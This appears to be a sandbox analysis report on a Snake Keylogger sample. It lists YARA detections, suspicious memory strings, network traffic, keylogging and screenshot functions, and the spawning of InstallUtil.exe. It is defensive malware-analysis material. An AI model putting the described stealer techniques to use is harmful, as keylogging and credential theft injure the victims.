Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002E37000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002E7D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: InstallUtil.exe, 00000005.00000002.2907422568.000000000403C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000413E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004042000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000411A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: InstallUtil.exe, 00000005.00000002.2907422568.000000000403C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000413E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004042000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.000000000411A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000003EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2907422568.0000000004017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBiq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49920 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, COVID19.cs

.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, COVID19.cs

.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Code function: 0_2_08EAB178 CreateProcessAsUserW,

0_2_08EAB178

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_00A175A9	0_2_00A175A9
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_00A17BD0	0_2_00A17BD0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0587D3C1	0_2_0587D3C1
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0587D3D0	0_2_0587D3D0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0587A85C	0_2_0587A85C
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_05A12488	0_2_05A12488
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_05A1DBE8	0_2_05A1DBE8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_05A12458	0_2_05A12458
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_05A1C3B0	0_2_05A1C3B0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_06D0D45B	0_2_06D0D45B
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_06D0F15D	0_2_06D0F15D
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_06D02100	0_2_06D02100
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_06D0E9D8	0_2_06D0E9D8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_06D0E9C8	0_2_06D0E9C8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764E5D0	0_2_0764E5D0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_07643448	0_2_07643448
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764F418	0_2_0764F418
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764E5C0	0_2_0764E5C0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764F453	0_2_0764F453
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_07643433	0_2_07643433
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764F43E	0_2_0764F43E
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077FDB18	0_2_077FDB18
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077FCF01	0_2_077FCF01
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077FBE60	0_2_077FBE60
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077F3AE4	0_2_077F3AE4
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077F7CA0	0_2_077F7CA0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077FF448	0_2_077FF448
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA4070	0_2_08EA4070
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0D40	0_2_08EA0D40
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EAB6F8	0_2_08EAB6F8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA6291	0_2_08EA6291
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA5B40	0_2_08EA5B40
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA18E1	0_2_08EA18E1
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA18F0	0_2_08EA18F0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA80C8	0_2_08EA80C8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA80D8	0_2_08EA80D8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA5088	0_2_08EA5088
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA5083	0_2_08EA5083
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA4060	0_2_08EA4060
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0040	0_2_08EA0040
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0013	0_2_08EA0013
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0920	0_2_08EA0920
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0D33	0_2_08EA0D33
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0910	0_2_08EA0910
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA06E8	0_2_08EA06E8
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA06DB	0_2_08EA06DB
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA92D0	0_2_08EA92D0
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EAF688	0_2_08EAF688
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA9A38	0_2_08EA9A38
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0B88	0_2_08EA0B88
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0B98	0_2_08EA0B98
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA5B2F	0_2_08EA5B2F
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_08EA0330	0_2_08EA0330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BED27D	5_2_02BED27D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE5370	5_2_02BE5370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEC147	5_2_02BEC147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEC738	5_2_02BEC738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BECA0D	5_2_02BECA0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE69A9	5_2_02BE69A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEE988	5_2_02BEE988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BECFA9	5_2_02BECFA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE6FC8	5_2_02BE6FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BECCDD	5_2_02BECCDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEF630	5_2_02BEF630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEFA88	5_2_02BEFA88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE29E0	5_2_02BE29E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEE97B	5_2_02BEE97B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE3E09	5_2_02BE3E09

Source: pbCN4g6sN5.exe, 00000000.00000000.1652684658.0000000000AD6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSky Email Verifier.exeF vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe, 00000000.00000002.2374378056.000000000057E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe, 00000000.00000002.2387318301.00000000076F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRP8SH.dll6 vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe, 00000000.00000002.2383848177.0000000004B30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMofInagitap.dll8 vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMofInagitap.dll8 vs pbCN4g6sN5.exe
Source: pbCN4g6sN5.exe	Binary or memory string: OriginalFilenameSky Email Verifier.exeF vs pbCN4g6sN5.exe

Source: pbCN4g6sN5.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: pbCN4g6sN5.exe, d3A5.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.pbCN4g6sN5.exe.4b30000.4.raw.unpack, Class12_Startup.cs	Task registration methods: 'CreateCanceledTask'
Source: 0.2.pbCN4g6sN5.exe.365d150.3.raw.unpack, Class12_Startup.cs	Task registration methods: 'CreateCanceledTask'
Source: 0.2.pbCN4g6sN5.exe.36a2f30.0.raw.unpack, Class12_Startup.cs	Task registration methods: 'CreateCanceledTask'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pbCN4g6sN5.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: pbCN4g6sN5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: pbCN4g6sN5.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pbCN4g6sN5.exe

ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\pbCN4g6sN5.exe "C:\Users\user\Desktop\pbCN4g6sN5.exe"
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
